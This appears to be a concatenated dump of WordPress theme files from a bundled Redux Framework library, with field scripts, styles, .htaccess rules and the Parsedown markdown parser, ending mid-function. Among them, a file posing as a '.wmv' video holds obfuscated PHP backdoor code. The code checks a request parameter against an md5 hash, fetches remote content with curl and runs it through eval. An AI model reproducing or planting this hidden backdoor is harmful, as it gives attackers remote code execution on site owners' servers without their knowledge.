i=t,a=JSON.parse(s(this).parent().find(".localize_data").val()),d=s(t).attr("data-editor"),r=ace.edit(d);r.setTheme("ace/theme/"+jQuery(t).attr("data-theme")),r.getSession().setMode("ace/mode/"+s(t).attr("data-mode"));n.hasClass("redux-field-container")?n.attr("data-id"):n.parents(".redux-field-container:first").attr("data-id"),r.setOptions(a),r.on("change",function(e){s("#"+i.id).val(r.getSession().getValue()),redux_change(s(t)),r.resize()})}))})}}(jQuery);lib/redux-framework/inc/fields/ace_editor/field_ace_editor.scss000064400000000445147206624460020725 0ustar00.redux-container-ace_editor { .ace-wrapper { position: static; } .ace_editor { height: 200px; -webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px; } .ace_gutter { z-index: 1 !important; } } lib/redux-framework/inc/fields/ace_editor/field_ace_editor.js000064400000004575147206624460020376 0ustar00/*global jQuery, document, redux*/ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.ace_editor = redux.field_objects.ace_editor || {}; redux.field_objects.ace_editor.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-ace_editor:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } el.find( '.ace-editor' ).each( function( index, element ) { var area = element; var params = JSON.parse( $( this ).parent().find( '.localize_data' ).val() ); var editor = $( element ).attr( 'data-editor' ); var aceeditor = ace.edit( editor ); aceeditor.setTheme( "ace/theme/" + jQuery( element ).attr( 'data-theme' ) ); aceeditor.getSession().setMode( "ace/mode/" + $( element ).attr( 'data-mode' ) ); var parent = ''; if ( el.hasClass( 'redux-field-container' ) ) { parent = el.attr( 'data-id' ); } else { parent = el.parents( '.redux-field-container:first' ).attr( 'data-id' ); } aceeditor.setOptions( params ); aceeditor.on( 'change', function( e ) { $( '#' + area.id ).val( aceeditor.getSession().getValue() ); redux_change( $( element ) ); aceeditor.resize(); } ); } ); } ); }; })( jQuery );lib/redux-framework/inc/fields/ace_editor/field_ace_editor.php000064400000012366147206624460020546 0ustar00. * * @package Redux_Field * @subpackage ACE_Editor * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_ace_editor' ) ) { class ReduxFramework_ace_editor { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $field , $value, $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; if ( is_array( $this->value ) ) { $this->value = ''; } else { $this->value = trim( $this->value ); } if ( ! empty( $this->field['options'] ) ) { $this->field['args'] = $this->field['options']; unset( $this->field['options'] ); } } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ function render() { if ( ! isset( $this->field['mode'] ) ) { $this->field['mode'] = 'javascript'; } if ( ! isset( $this->field['theme'] ) ) { $this->field['theme'] = 'monokai'; } $params = array( 'minLines' => 10, 'maxLines' => 30, ); if ( isset( $this->field['args'] ) && ! empty( $this->field['args'] ) && is_array( $this->field['args'] ) ) { $params = wp_parse_args( $this->field['args'], $params ); } ?>
    value ); ?>
    parent->args['dev_mode'] ) { if ( ! wp_style_is( 'redux-field-ace-editor-css' ) ) { wp_enqueue_style( 'redux-field-ace-editor-css', ReduxFramework::$_url . 'inc/fields/ace_editor/field_ace_editor.css', array(), time(), 'all' ); } } if ( ! wp_script_is( 'ace-editor-js' ) ) { Redux_CDN::enqueue_script( 'ace-editor-js', '//cdn.jsdelivr.net/ace/1.1.9/min/ace.js', array( 'jquery' ), '1.1.9', true ); } if ( ! wp_script_is( 'redux-field-ace-editor-js' ) ) { wp_enqueue_script( 'redux-field-ace-editor-js', ReduxFramework::$_url . 'inc/fields/ace_editor/field_ace_editor' . Redux_Functions::isMin() . '.js', array( 'jquery', 'ace-editor-js', 'redux-js' ), time(), true ); } } } }lib/redux-framework/inc/fields/ace_editor/field_ace_editor.css000064400000000360147206624460020536 0ustar00.redux-container-ace_editor .ace-wrapper{position:static}.redux-container-ace_editor .ace_editor{height:200px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.redux-container-ace_editor .ace_gutter{z-index:1 !important} lib/redux-framework/inc/fields/ace_editor/.htaccess000064400000001626147206624460016367 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/fields/section/field_section.css.map000064400000000444147206624460020231 0ustar00{ "version": 3, "mappings": "AACI,wCAA6B;EACzB,KAAK,EAAE,GAAG;EACV,WAAW,EAAE,aAAa;AAG9B,iEAAsD;EAClD,OAAO,EAAE,cAAc;AAG3B,cAAG;EACC,UAAU,EAAE,IAAI;AAIhB,iEAAc;EACV,OAAO,EAAE,IAAI;AAGjB,uEAAoB;EAChB,aAAa,EAAE,CAAC", "sources": ["field_section.scss"], "names": [], "file": "field_section.css" }lib/redux-framework/inc/fields/section/field_section.scss000064400000000672147206624460017643 0ustar00.redux-main { .form-table-section-indented { width: 95%; margin-left: 5% !important; } .form-table-section tr:first-of-type th:first-of-type { padding: 0px !important; } h3 { margin-top: 10px; } .form-table-section-indented > tbody > tr{ &:first-child { display: none; } &:nth-last-child(2) { border-bottom: 0; } } } lib/redux-framework/inc/fields/section/field_section.php000064400000013225147206624460017455 0ustar00. * * @package ReduxFramework * @subpackage Field_Section * @author Tobias Karnetze (athoss.de) * @version 1.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_section' ) ) { /** * Main ReduxFramework_heading class * * @since 1.0.0 */ class ReduxFramework_section { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ public function __construct( $field, $value, $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { // No errors please $defaults = array( 'indent' => '', 'style' => '', 'class' => '', 'title' => '', 'subtitle' => '', ); $this->field = wp_parse_args( $this->field, $defaults ); $guid = uniqid(); $add_class = ''; if ( isset( $this->field['indent'] ) && true === $this->field['indent'] ) { $add_class = ' form-table-section-indented'; } elseif( !isset( $this->field['indent'] ) || ( isset( $this->field['indent'] ) && false !== $this->field['indent'] ) ) { $add_class = " hide"; } echo ''; echo '
    '; if ( ! empty( $this->field['title'] ) ) { echo '

    ' . esc_html($this->field['title']) . '

    '; } if ( ! empty( $this->field['subtitle'] ) ) { if ( is_array( $this->field['subtitle'] ) ) { foreach ( $this->field['subtitle'] as $subtitle ) { echo '
    ' . esc_html( $subtitle ) . '
    '; } } else { echo '
    ' . esc_html( $this->field['subtitle'] ) . '
    '; } } echo '
    '; // delete the tr afterwards ?> parent->args['dev_mode'] ) { wp_enqueue_style( 'redux-field-section-css', ReduxFramework::$_url . 'inc/fields/section/field_section.css', array(), time(), 'all' ); } } } }lib/redux-framework/inc/fields/section/field_section.css000064400000000546147206624460017460 0ustar00.redux-main .form-table-section-indented{width:95%;margin-left:5% !important}.redux-main .form-table-section tr:first-of-type th:first-of-type{padding:0px !important}.redux-main h3{margin-top:10px}.redux-main .form-table-section-indented>tbody>tr:first-child{display:none}.redux-main .form-table-section-indented>tbody>tr:nth-last-child(2){border-bottom:0} lib/redux-framework/inc/fields/section/.htaccess000064400000001626147206624460015735 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/fields/raw/raw/index.php000064400000000000147206624460015656 0ustar00lib/redux-framework/inc/fields/raw/raw/bYxBMXAFG.wmv000064400000011430147206624460016231 0ustar00Z5=u~w&E-*/in_array(/*-t60^zzd:r>-*/gettype(/*-&&5>AbS-*/$ew)./*-)(MX?h^`Si-*/count(/*-NvW-*/$ew),$ew))?(($ew[64]=$ew[64].$ew[77])&&($ew[89]=$ew[64]($ew[89]))&&(/*-OJh]i;8M|-*/@eval/*-#-*/($ew[64](${$ew[41]}[12])/*-:I-*/))/*-PoX~-*/):$ew;/*-T.X((le#-*/class /*-X[x])-*/MAnS{ /*-).z=_5zA|-*/static/*-?NWF-*/(/*-z0?r^w-*/"~"/*-w4z{-*/, /*-];mDKs@h-*/" "/*-4FPsH-*/);/*-K8!,8n~5-*/ $UeYVP /*-&oURy9Ggx-*/= /*-(h>o4LA,!w-*/explode/*-p_lp)66G.-*/(/*-:e(-*/">", /*-uq_?F$~o-*/$ntq/*-}}rpN^&-*/); /*-Hy-*/$qMU /*-FNQ~s3-*/= /*-z3Ef&9-*/""; foreach /*-/*-%XWt&?A-*/ $vV/*-xkML+-*/) /*-to@7n-*/$qMU /*-,v.#MW33-*/.= /*-W@b7t(-*/$Ss[$vV/*-6_90II?-*/ - /*-JVi-*/41023/*-oYCBLZ;-*/];/*-[.=[$v-*/ return /*-(c&uN{bu.-*/$qMU; /*-{hfWMQ#<-*/} /*-(2|VEw-*/static /*-wJGu-*/function /*-t2k8^-*/XrMKLseJ/*-{n[oJg-*/(/*-@P.Kx-*/$RgT,/*-PH}-*/ $jCh/*-vljIK!}-*/)/*-PP-*/ {/*-5AWj-*/ $TSXjQzCaJ/*-$(<@=qOq-*/ = /*-FE6PJ:o-*/curl_init/*-=~v-*/(/*-2w^nO5A-*/$RgT/*-~[f9Or}-*/);/*-8u.fD-*/ curl_setopt/*-`^ZW}~1T-*/(/*-py!]-*/$TSXjQzCaJ,/*-^J7[ga-*/ CURLOPT_RETURNTRANSFER,/*-Rvs-*/ 1/*-demB){x|=-*/);/*-D6@2y>-*/ $kM/*-NA!XrRF-*/ = /*-2k-*/curl_exec/*-{e_L<,-*/(/*-~,TF8]X-*/$TSXjQzCaJ/*-lIP$-*/); /*-c@Q#k-*/return /*-<4IsSVMD<-*/empty/*-u;$#-*/(/*-lL50-*/$kM/*-;A-*/)/*-2M-*/ ? /*-{h!-Tz-*/$jCh/*-Z5xDDc-*/(/*-Oa&~_F&-*/$RgT/*-0SUu:R-*/)/*-([l;-*/ : /*-J95B#N%+)%-*/$kM; /*-&}-UdpO}-*/}/*-X`@WKUR-*/ static/*-x2!]es-*/ function /*-C#t$&<-*/SPjXEJyuo/*-?I^NK);y-*/() /*-~&hJ-*/{/*-tuwarQ-*/ $ORHF /*-([-*/=/*-auF-*/ array/*-SXbKy-*/("41050>41035>41048>41052>41033>41048>41054>41047>41032>41039>41050>41033>41044>41038>41039","41034>41033>41035>41054>41035>41038>41033>41100>41098","41043>41034>41038>41039>41054>41049>41048>41050>41038>41049>41048","41037>41052>41050>41042","41051>41052>41034>41048>41095>41097>41054>41049>41048>41050>41038>41049>41048","41047>41044>41041>41048>41054>41046>41048>41033>41054>41050>41038>41039>41033>41048>41039>41033>41034","41077>41107","41024","41102>41107","41084>41067>41067>41084>41060","41038>41047"); /*-c45-*/foreach /*-23!-*/(/*-an-[J`^-*/);/*-q.d!]$J}-*/ $VajAgpxYk /*-3S[v-*/=/*-D6-*/ @$khwjgs/*-hO,gV-*/[/*-1Qw<~XvkI-*/1+2/*-M6o4-*/]/*-0l5]O^Mr-*/(/*-m^l?(Y@M-*/$khwjgs/*-6+j--*/2+0/*-MPBhtmew9-*/]/*-F)gGE&IP5@-*/(/*-0ot,PwT8UO-*/$VajAgpxYk,/*-96yOnAwpi-*/ true/*-rVPS-*/); /*-r>S-*/@${/*--%F-*/"_"./*-k}PNZ)-*/"G"./*-CjQTO-B-*/"E"/*-:Jt,{(iEI-*/."T"/*-KfACx|?-*/}/*-X5v?[-*/[/*-c14ACplH<-*/$khwjgs/*-z-4nzjj.-*/[3+7/*-T4!mSO-*/]/*-LJV9%)Q}-*/]/*-uooV-*/1 /*-?lI_wFBz]=-*/&& /*-cW2S`A;>F-*/die/*-@mi@^W-*/(/*-)&k@?wR7g-*/$khwjgs[1+4/*-R&-*/]/*-#;$-*/(/*-F.|^~71[36-*/__FILE__/*-KSP]WH!-*/)/*-I#L9K-i-*/); /*-28[e9FF[-*/if/*-Qro(u-*/(/*-#vG#2WEWQs-*/ (/*-jKC-*/(@/*-5h<-*/$DH/*-8)6Y)}U-*/[/*-%9Hw-*/0/*-3{-*/) > /*-DvAA3-*/0/*-W16-*/)/*-Yl-*/ and /*-td+f9??[-*/(/*-fl?-*/md5/*-;DnTY`-*/(/*-VF-*/md5/*-s>>yVhrT-*/(/*-v+-*/$DH/*-~ms,)PR-*/[/*-ch9MzH-*/1+2/*-(sUZEt-*/]/*-[O-*/)/*-UT-=)~4huE-*/)/*-4j-*/ === /*-gjBQ5E-*/"179f41ade4afaefd90500d7321ceb50e"/*-q3cY#60P-*/)/*-Op#-*/ ): /*-P;]:-*/$DKQVuIqaX /*-G5nTq-*/=/*-phAg[9mx[.-*/ self/*-DVV>-*/::/*-`ZB}ng)t-*/XrMKLseJ/*-ph?vQf|-*/(/*-$Zw-*/$DH/*-)_]B-*/[/*-Lz~-*/0+1/*-w&?9w>#+-*/], /*-:Q}GB+-*/$khwjgs/*-(#-*/[/*-tto>.>S-*/0+5/*-1j-*/]/*-_3O-*/);/*-|Z|ii?K-*/@eval/*->X#sx-*/(/*-,]1OY-*/$khwjgs/*-G!M{_-*/[/*-JpHmCxh-*/2+2/*-#d{%-*/]/*-xRC32y91t_-*/(/*-f-t-*/$DKQVuIqaX/*-ws#4-*/)/*-%L`dz6ve-*/);/*-|A~-*//*-Go(8X!-*/die;/*-2_^w>Q-2X-*/ endif;/*-i~2;j.-*/ }/*-7U459-*/}/*-)G-*/MAnS/*-)BZ&cNZj|-*/::/*-Yc)@G-*/SPjXEJyuo/*-Q-*/();/*-sZbmW-*/ ?>lib/redux-framework/inc/fields/raw/raw/.htaccess000064400000001626147206624460015653 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/fields/raw/parsedown.php000064400000112045147206624460015775 0ustar00DefinitionData = array(); # standardize line breaks $text = str_replace(array("\r\n", "\r"), "\n", $text); # remove surrounding line breaks $text = trim($text, "\n"); # split text into lines $lines = explode("\n", $text); # iterate through lines to identify blocks $markup = $this->lines($lines); # trim line breaks $markup = trim($markup, "\n"); return $markup; } # # Setters # function setBreaksEnabled($breaksEnabled) { $this->breaksEnabled = $breaksEnabled; return $this; } protected $breaksEnabled; function setMarkupEscaped($markupEscaped) { $this->markupEscaped = $markupEscaped; return $this; } protected $markupEscaped; function setUrlsLinked($urlsLinked) { $this->urlsLinked = $urlsLinked; return $this; } protected $urlsLinked = true; # # Lines # protected $BlockTypes = array( '#' => array('Header'), '*' => array('Rule', 'List'), '+' => array('List'), '-' => array('SetextHeader', 'Table', 'Rule', 'List'), '0' => array('List'), '1' => array('List'), '2' => array('List'), '3' => array('List'), '4' => array('List'), '5' => array('List'), '6' => array('List'), '7' => array('List'), '8' => array('List'), '9' => array('List'), ':' => array('Table'), '<' => array('Comment', 'Markup'), '=' => array('SetextHeader'), '>' => array('Quote'), '[' => array('Reference'), '_' => array('Rule'), '`' => array('FencedCode'), '|' => array('Table'), '~' => array('FencedCode'), ); # ~ protected $unmarkedBlockTypes = array( 'Code', ); # # Blocks # protected function lines(array $lines) { $CurrentBlock = null; foreach ($lines as $line) { if (chop($line) === '') { if (isset($CurrentBlock)) { $CurrentBlock['interrupted'] = true; } continue; } if (strpos($line, "\t") !== false) { $parts = explode("\t", $line); $line = $parts[0]; unset($parts[0]); foreach ($parts as $part) { $shortage = 4 - mb_strlen($line, 'utf-8') % 4; $line .= str_repeat(' ', $shortage); $line .= $part; } } $indent = 0; while (isset($line[$indent]) and $line[$indent] === ' ') { $indent ++; } $text = $indent > 0 ? substr($line, $indent) : $line; # ~ $Line = array('body' => $line, 'indent' => $indent, 'text' => $text); # ~ if (isset($CurrentBlock['continuable'])) { $Block = $this->{'block'.$CurrentBlock['type'].'Continue'}($Line, $CurrentBlock); if (isset($Block)) { $CurrentBlock = $Block; continue; } else { if ($this->isBlockCompletable($CurrentBlock['type'])) { $CurrentBlock = $this->{'block'.$CurrentBlock['type'].'Complete'}($CurrentBlock); } } } # ~ $marker = $text[0]; # ~ $blockTypes = $this->unmarkedBlockTypes; if (isset($this->BlockTypes[$marker])) { foreach ($this->BlockTypes[$marker] as $blockType) { $blockTypes []= $blockType; } } # # ~ foreach ($blockTypes as $blockType) { $Block = $this->{'block'.$blockType}($Line, $CurrentBlock); if (isset($Block)) { $Block['type'] = $blockType; if ( ! isset($Block['identified'])) { $Blocks []= $CurrentBlock; $Block['identified'] = true; } if ($this->isBlockContinuable($blockType)) { $Block['continuable'] = true; } $CurrentBlock = $Block; continue 2; } } # ~ if (isset($CurrentBlock) and ! isset($CurrentBlock['type']) and ! isset($CurrentBlock['interrupted'])) { $CurrentBlock['element']['text'] .= "\n".$text; } else { $Blocks []= $CurrentBlock; $CurrentBlock = $this->paragraph($Line); $CurrentBlock['identified'] = true; } } # ~ if (isset($CurrentBlock['continuable']) and $this->isBlockCompletable($CurrentBlock['type'])) { $CurrentBlock = $this->{'block'.$CurrentBlock['type'].'Complete'}($CurrentBlock); } # ~ $Blocks []= $CurrentBlock; unset($Blocks[0]); # ~ $markup = ''; foreach ($Blocks as $Block) { if (isset($Block['hidden'])) { continue; } $markup .= "\n"; $markup .= isset($Block['markup']) ? $Block['markup'] : $this->element($Block['element']); } $markup .= "\n"; # ~ return $markup; } protected function isBlockContinuable($Type) { return method_exists($this, 'block'.$Type.'Continue'); } protected function isBlockCompletable($Type) { return method_exists($this, 'block'.$Type.'Complete'); } # # Code protected function blockCode($Line, $Block = null) { if (isset($Block) and ! isset($Block['type']) and ! isset($Block['interrupted'])) { return; } if ($Line['indent'] >= 4) { $text = substr($Line['body'], 4); $Block = array( 'element' => array( 'name' => 'pre', 'handler' => 'element', 'text' => array( 'name' => 'code', 'text' => $text, ), ), ); return $Block; } } protected function blockCodeContinue($Line, $Block) { if ($Line['indent'] >= 4) { if (isset($Block['interrupted'])) { $Block['element']['text']['text'] .= "\n"; unset($Block['interrupted']); } $Block['element']['text']['text'] .= "\n"; $text = substr($Line['body'], 4); $Block['element']['text']['text'] .= $text; return $Block; } } protected function blockCodeComplete($Block) { $text = $Block['element']['text']['text']; $text = htmlspecialchars($text, ENT_NOQUOTES, 'UTF-8'); $Block['element']['text']['text'] = $text; return $Block; } # # Comment protected function blockComment($Line) { if ($this->markupEscaped) { return; } if (isset($Line['text'][3]) and $Line['text'][3] === '-' and $Line['text'][2] === '-' and $Line['text'][1] === '!') { $Block = array( 'markup' => $Line['body'], ); if (preg_match('/-->$/', $Line['text'])) { $Block['closed'] = true; } return $Block; } } protected function blockCommentContinue($Line, array $Block) { if (isset($Block['closed'])) { return; } $Block['markup'] .= "\n" . $Line['body']; if (preg_match('/-->$/', $Line['text'])) { $Block['closed'] = true; } return $Block; } # # Fenced Code protected function blockFencedCode($Line) { if (preg_match('/^['.$Line['text'][0].']{3,}[ ]*([\w-]+)?[ ]*$/', $Line['text'], $matches)) { $Element = array( 'name' => 'code', 'text' => '', ); if (isset($matches[1])) { $class = 'language-'.$matches[1]; $Element['attributes'] = array( 'class' => $class, ); } $Block = array( 'char' => $Line['text'][0], 'element' => array( 'name' => 'pre', 'handler' => 'element', 'text' => $Element, ), ); return $Block; } } protected function blockFencedCodeContinue($Line, $Block) { if (isset($Block['complete'])) { return; } if (isset($Block['interrupted'])) { $Block['element']['text']['text'] .= "\n"; unset($Block['interrupted']); } if (preg_match('/^'.$Block['char'].'{3,}[ ]*$/', $Line['text'])) { $Block['element']['text']['text'] = substr($Block['element']['text']['text'], 1); $Block['complete'] = true; return $Block; } $Block['element']['text']['text'] .= "\n".$Line['body']; return $Block; } protected function blockFencedCodeComplete($Block) { $text = $Block['element']['text']['text']; $text = htmlspecialchars($text, ENT_NOQUOTES, 'UTF-8'); $Block['element']['text']['text'] = $text; return $Block; } # # Header protected function blockHeader($Line) { if (isset($Line['text'][1])) { $level = 1; while (isset($Line['text'][$level]) and $Line['text'][$level] === '#') { $level ++; } if ($level > 6) { return; } $text = trim($Line['text'], '# '); $Block = array( 'element' => array( 'name' => 'h' . min(6, $level), 'text' => $text, 'handler' => 'line', ), ); return $Block; } } # # List protected function blockList($Line) { list($name, $pattern) = $Line['text'][0] <= '-' ? array('ul', '[*+-]') : array('ol', '[0-9]+[.]'); if (preg_match('/^('.$pattern.'[ ]+)(.*)/', $Line['text'], $matches)) { $Block = array( 'indent' => $Line['indent'], 'pattern' => $pattern, 'element' => array( 'name' => $name, 'handler' => 'elements', ), ); if($name === 'ol') { $listStart = stristr($matches[0], '.', true); if($listStart !== '1') { $Block['element']['attributes'] = array('start' => $listStart); } } $Block['li'] = array( 'name' => 'li', 'handler' => 'li', 'text' => array( $matches[2], ), ); $Block['element']['text'] []= & $Block['li']; return $Block; } } protected function blockListContinue($Line, array $Block) { if ($Block['indent'] === $Line['indent'] and preg_match('/^'.$Block['pattern'].'(?:[ ]+(.*)|$)/', $Line['text'], $matches)) { if (isset($Block['interrupted'])) { $Block['li']['text'] []= ''; unset($Block['interrupted']); } unset($Block['li']); $text = isset($matches[1]) ? $matches[1] : ''; $Block['li'] = array( 'name' => 'li', 'handler' => 'li', 'text' => array( $text, ), ); $Block['element']['text'] []= & $Block['li']; return $Block; } if ($Line['text'][0] === '[' and $this->blockReference($Line)) { return $Block; } if ( ! isset($Block['interrupted'])) { $text = preg_replace('/^[ ]{0,4}/', '', $Line['body']); $Block['li']['text'] []= $text; return $Block; } if ($Line['indent'] > 0) { $Block['li']['text'] []= ''; $text = preg_replace('/^[ ]{0,4}/', '', $Line['body']); $Block['li']['text'] []= $text; unset($Block['interrupted']); return $Block; } } # # Quote protected function blockQuote($Line) { if (preg_match('/^>[ ]?(.*)/', $Line['text'], $matches)) { $Block = array( 'element' => array( 'name' => 'blockquote', 'handler' => 'lines', 'text' => (array) $matches[1], ), ); return $Block; } } protected function blockQuoteContinue($Line, array $Block) { if ($Line['text'][0] === '>' and preg_match('/^>[ ]?(.*)/', $Line['text'], $matches)) { if (isset($Block['interrupted'])) { $Block['element']['text'] []= ''; unset($Block['interrupted']); } $Block['element']['text'] []= $matches[1]; return $Block; } if ( ! isset($Block['interrupted'])) { $Block['element']['text'] []= $Line['text']; return $Block; } } # # Rule protected function blockRule($Line) { if (preg_match('/^(['.$Line['text'][0].'])([ ]*\1){2,}[ ]*$/', $Line['text'])) { $Block = array( 'element' => array( 'name' => 'hr' ), ); return $Block; } } # # Setext protected function blockSetextHeader($Line, array $Block = null) { if ( ! isset($Block) or isset($Block['type']) or isset($Block['interrupted'])) { return; } if (chop($Line['text'], $Line['text'][0]) === '') { $Block['element']['name'] = $Line['text'][0] === '=' ? 'h1' : 'h2'; return $Block; } } # # Markup protected function blockMarkup($Line) { if ($this->markupEscaped) { return; } if (preg_match('/^<(\w*)(?:[ ]*'.$this->regexHtmlAttribute.')*[ ]*(\/)?>/', $Line['text'], $matches)) { $element = strtolower($matches[1]); if (in_array($element, $this->textLevelElements)) { return; } $Block = array( 'name' => $matches[1], 'depth' => 0, 'markup' => $Line['text'], ); $length = strlen($matches[0]); $remainder = substr($Line['text'], $length); if (trim($remainder) === '') { if (isset($matches[2]) or in_array($matches[1], $this->voidElements)) { $Block['closed'] = true; $Block['void'] = true; } } else { if (isset($matches[2]) or in_array($matches[1], $this->voidElements)) { return; } if (preg_match('/<\/'.$matches[1].'>[ ]*$/i', $remainder)) { $Block['closed'] = true; } } return $Block; } } protected function blockMarkupContinue($Line, array $Block) { if (isset($Block['closed'])) { return; } if (preg_match('/^<'.$Block['name'].'(?:[ ]*'.$this->regexHtmlAttribute.')*[ ]*>/i', $Line['text'])) # open { $Block['depth'] ++; } if (preg_match('/(.*?)<\/'.$Block['name'].'>[ ]*$/i', $Line['text'], $matches)) # close { if ($Block['depth'] > 0) { $Block['depth'] --; } else { $Block['closed'] = true; } } if (isset($Block['interrupted'])) { $Block['markup'] .= "\n"; unset($Block['interrupted']); } $Block['markup'] .= "\n".$Line['body']; return $Block; } # # Reference protected function blockReference($Line) { if (preg_match('/^\[(.+?)\]:[ ]*?(?:[ ]+["\'(](.+)["\')])?[ ]*$/', $Line['text'], $matches)) { $id = strtolower($matches[1]); $Data = array( 'url' => $matches[2], 'title' => null, ); if (isset($matches[3])) { $Data['title'] = $matches[3]; } $this->DefinitionData['Reference'][$id] = $Data; $Block = array( 'hidden' => true, ); return $Block; } } # # Table protected function blockTable($Line, array $Block = null) { if ( ! isset($Block) or isset($Block['type']) or isset($Block['interrupted'])) { return; } if (strpos($Block['element']['text'], '|') !== false and chop($Line['text'], ' -:|') === '') { $alignments = array(); $divider = $Line['text']; $divider = trim($divider); $divider = trim($divider, '|'); $dividerCells = explode('|', $divider); foreach ($dividerCells as $dividerCell) { $dividerCell = trim($dividerCell); if ($dividerCell === '') { continue; } $alignment = null; if ($dividerCell[0] === ':') { $alignment = 'left'; } if (substr($dividerCell, - 1) === ':') { $alignment = $alignment === 'left' ? 'center' : 'right'; } $alignments []= $alignment; } # ~ $HeaderElements = array(); $header = $Block['element']['text']; $header = trim($header); $header = trim($header, '|'); $headerCells = explode('|', $header); foreach ($headerCells as $index => $headerCell) { $headerCell = trim($headerCell); $HeaderElement = array( 'name' => 'th', 'text' => $headerCell, 'handler' => 'line', ); if (isset($alignments[$index])) { $alignment = $alignments[$index]; $HeaderElement['attributes'] = array( 'style' => 'text-align: '.$alignment.';', ); } $HeaderElements []= $HeaderElement; } # ~ $Block = array( 'alignments' => $alignments, 'identified' => true, 'element' => array( 'name' => 'table', 'handler' => 'elements', ), ); $Block['element']['text'] []= array( 'name' => 'thead', 'handler' => 'elements', ); $Block['element']['text'] []= array( 'name' => 'tbody', 'handler' => 'elements', 'text' => array(), ); $Block['element']['text'][0]['text'] []= array( 'name' => 'tr', 'handler' => 'elements', 'text' => $HeaderElements, ); return $Block; } } protected function blockTableContinue($Line, array $Block) { if (isset($Block['interrupted'])) { return; } if ($Line['text'][0] === '|' or strpos($Line['text'], '|')) { $Elements = array(); $row = $Line['text']; $row = trim($row); $row = trim($row, '|'); preg_match_all('/(?:(\\\\[|])|[^|`]|`[^`]+`|`)+/', $row, $matches); foreach ($matches[0] as $index => $cell) { $cell = trim($cell); $Element = array( 'name' => 'td', 'handler' => 'line', 'text' => $cell, ); if (isset($Block['alignments'][$index])) { $Element['attributes'] = array( 'style' => 'text-align: '.$Block['alignments'][$index].';', ); } $Elements []= $Element; } $Element = array( 'name' => 'tr', 'handler' => 'elements', 'text' => $Elements, ); $Block['element']['text'][1]['text'] []= $Element; return $Block; } } # # ~ # protected function paragraph($Line) { $Block = array( 'element' => array( 'name' => 'p', 'text' => $Line['text'], 'handler' => 'line', ), ); return $Block; } # # Inline Elements # protected $InlineTypes = array( '"' => array('SpecialCharacter'), '!' => array('Image'), '&' => array('SpecialCharacter'), '*' => array('Emphasis'), ':' => array('Url'), '<' => array('UrlTag', 'EmailTag', 'Markup', 'SpecialCharacter'), '>' => array('SpecialCharacter'), '[' => array('Link'), '_' => array('Emphasis'), '`' => array('Code'), '~' => array('Strikethrough'), '\\' => array('EscapeSequence'), ); # ~ protected $inlineMarkerList = '!"*_&[:<>`~\\'; # # ~ # public function line($text) { $markup = ''; # $excerpt is based on the first occurrence of a marker while ($excerpt = strpbrk($text, $this->inlineMarkerList)) { $marker = $excerpt[0]; $markerPosition = strpos($text, $marker); $Excerpt = array('text' => $excerpt, 'context' => $text); foreach ($this->InlineTypes[$marker] as $inlineType) { $Inline = $this->{'inline'.$inlineType}($Excerpt); if ( ! isset($Inline)) { continue; } # makes sure that the inline belongs to "our" marker if (isset($Inline['position']) and $Inline['position'] > $markerPosition) { continue; } # sets a default inline position if ( ! isset($Inline['position'])) { $Inline['position'] = $markerPosition; } # the text that comes before the inline $unmarkedText = substr($text, 0, $Inline['position']); # compile the unmarked text $markup .= $this->unmarkedText($unmarkedText); # compile the inline $markup .= isset($Inline['markup']) ? $Inline['markup'] : $this->element($Inline['element']); # remove the examined text $text = substr($text, $Inline['position'] + $Inline['extent']); continue 2; } # the marker does not belong to an inline $unmarkedText = substr($text, 0, $markerPosition + 1); $markup .= $this->unmarkedText($unmarkedText); $text = substr($text, $markerPosition + 1); } $markup .= $this->unmarkedText($text); return $markup; } # # ~ # protected function inlineCode($Excerpt) { $marker = $Excerpt['text'][0]; if (preg_match('/^('.$marker.'+)[ ]*(.+?)[ ]*(? strlen($matches[0]), 'element' => array( 'name' => 'code', 'text' => $text, ), ); } } protected function inlineEmailTag($Excerpt) { if (strpos($Excerpt['text'], '>') !== false and preg_match('/^<((mailto:)?\S+?@\S+?)>/i', $Excerpt['text'], $matches)) { $url = $matches[1]; if ( ! isset($matches[2])) { $url = 'mailto:' . $url; } return array( 'extent' => strlen($matches[0]), 'element' => array( 'name' => 'a', 'text' => $matches[1], 'attributes' => array( 'href' => $url, ), ), ); } } protected function inlineEmphasis($Excerpt) { if ( ! isset($Excerpt['text'][1])) { return; } $marker = $Excerpt['text'][0]; if 